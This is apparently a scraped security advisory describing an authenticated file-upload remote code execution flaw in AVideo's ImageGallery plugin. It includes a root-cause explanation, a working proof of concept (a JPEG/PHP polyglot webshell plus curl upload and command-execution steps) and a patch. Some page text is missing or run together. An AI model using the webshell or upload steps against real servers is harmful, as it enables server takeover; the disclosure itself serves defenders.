| パッケージ | 影響を受けるバージョン | 修正済みバージョン |
|---|---|---|
| wwbn/avideo | ≤ 26.0 | |
| avideo | ≤ 26.0 |
The ImageGallery::saveFile() method validates uploaded file content using finfo MIME type detection but derives the saved filename extension from the user-supplied original filename without an allowlist check. An attacker can upload a polyglot file (valid JPEG magic bytes followed by PHP code) with a .php extension. The MIME check passes, but the file is saved as an executable .php file in a web-accessible directory, achieving Remote Code Execution.
The vulnerability exists in plugin/ImageGallery/ImageGallery.php in the saveFile() method:
// plugin/ImageGallery/ImageGallery.php:80-108
static function saveFile($file, $videos_id)
{
$allowedMimeTypes = ['image/jpeg', 'image/webp', 'image/gif', 'image/png', 'video/mp4'];
$directory = self::getImageDir($videos_id);
// MIME check on file CONTENT — bypassable with polyglot
$finfo = new finfo(FILEINFO_MIME_TYPE);
$fileType = $finfo->file($file['tmp_name']);
if (in_array($fileType, $allowedMimeTypes)) {
// Extension from attacker-controlled filename — NO allowlist
$extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
do {
$newFilename = uniqid() . '.' . $extension;
$newFilePath = $directory . $newFilename;
} while (file_exists($newFilePath));
move_uploaded_file($file['tmp_name'], $newFilePath);
// ...
}
}
Root cause: Line 93 extracts the extension from the user-supplied $file['name'] and uses it directly in the saved filename. There is no check against an allowlist of safe extensions (e.g., jpg, png, gif, webp, mp4).
Why the MIME check is insufficient: PHP's finfo with FILEINFO_MIME_TYPE inspects file content magic bytes. A file starting with JPEG magic bytes (\xff\xd8\xff\xe0) is identified as image/jpeg regardless of trailing content. Appending PHP code after the JPEG header creates a polyglot that passes the MIME check but executes as PHP when requested via the web server.
Why no server-level protection exists: The root .htaccess at line 73 blocks dangerous extensions but uses the pattern php[a-z0-9]+ — which matches .php5, .phtml, .phar, etc., but intentionally does not match plain .php (since the application itself requires PHP execution). There is no in the directory to disable PHP execution in the upload target.
これらの製品をお使いですか？サイトをスキャンして、脆弱なバージョンが公開されていないか確認しましょう。
無料でサイトをスキャン.htaccessvideos/Upload path: Files are saved to videos/{videoFilename}/ImageGallery/{uniqid}.php — directly accessible via the web server.
The upload endpoint at plugin/ImageGallery/upload.json.php requires:
The response at line 27 calls listFiles() which returns the full URL of each uploaded file, giving the attacker the exact path to their webshell.
Prerequisites: Authenticated AVideo user account that owns at least one Image or Gallery type video.
Step 1: Create a polyglot PHP/JPEG file
printf '\xff\xd8\xff\xe0\x00\x10JFIF' > shell.php
echo '<?php if(isset($_GET["c"])){system($_GET["c"]);} ?>' >> shell.php
Step 2: Verify it passes finfo detection
file --mime-type shell.php
# Expected output: shell.php: image/jpeg
Step 3: Upload via ImageGallery endpoint
curl -b 'PHPSESSID=<session_cookie>' \
-F "[email protected];filename=shell.php" \
'https://target/plugin/ImageGallery/upload.json.php?videos_id=<VIDEO_ID>'
Expected response:
{
"videos_id": "123",
"saveFile": true,
"error": false,
"list": [
{
"base": "67890abcdef12.php",
"type": "image/jpeg",
"url": "https://target/videos/video_filename/ImageGallery/67890abcdef12.php"
}
]
}
Step 4: Execute the webshell
curl 'https://target/videos/video_filename/ImageGallery/67890abcdef12.php?c=id'
# Expected output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
An authenticated user with edit permission on any Image/Gallery video can achieve Remote Code Execution as the web server user. This allows:
videos/configuration.php)Any AVideo instance with the ImageGallery plugin enabled and user registration open is vulnerable. Since regular (non-admin) users can exploit this against their own videos, the barrier to exploitation is low.
Add an extension allowlist check in saveFile() immediately after extracting the extension. The extension should be validated against the same set of types as the MIME allowlist:
// plugin/ImageGallery/ImageGallery.php — in saveFile(), after line 93
static function saveFile($file, $videos_id)
{
$allowedMimeTypes = ['image/jpeg', 'image/webp', 'image/gif', 'image/png', 'video/mp4'];
+ $allowedExtensions = ['jpg', 'jpeg', 'webp', 'gif', 'png', 'mp4'];
$directory = self::getImageDir($videos_id);
$finfo = new finfo(FILEINFO_MIME_TYPE);
$fileType = $finfo->file($file['tmp_name']);
if (in_array($fileType, $allowedMimeTypes)) {
$extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
+ if (!in_array($extension, $allowedExtensions)) {
+ return false;
+ }
do {
$newFilename = uniqid() . '.' . $extension;
Additionally, as defense-in-depth, add a .htaccess file to the videos/ directory to disable PHP execution:
# videos/.htaccess
php_flag engine off
<FilesMatch "\.php$">
Require all denied
</FilesMatch>